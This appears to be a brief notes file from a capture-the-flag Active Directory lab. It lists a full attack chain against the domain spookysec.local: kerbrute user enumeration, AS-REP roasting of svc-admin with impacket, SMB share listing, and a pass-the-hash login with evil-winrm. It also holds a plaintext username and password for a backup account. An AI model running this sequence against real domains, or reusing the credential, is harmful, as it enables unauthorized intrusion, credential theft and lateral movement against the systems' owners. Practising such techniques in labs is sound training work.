./kerbrute_linux_amd64 userenum -d spookysec.local --dc 10.10.176.12 userlist.txt
impacket-GetNPUsers spookysec.local/svc-admin -dc-ip 10.10.176.12
smbclient -L //10.10.176.12 -U "svc-admin"
backup@spookysec.local:backup2517860
evil-winrm -u <user> -H "hash" -i ip
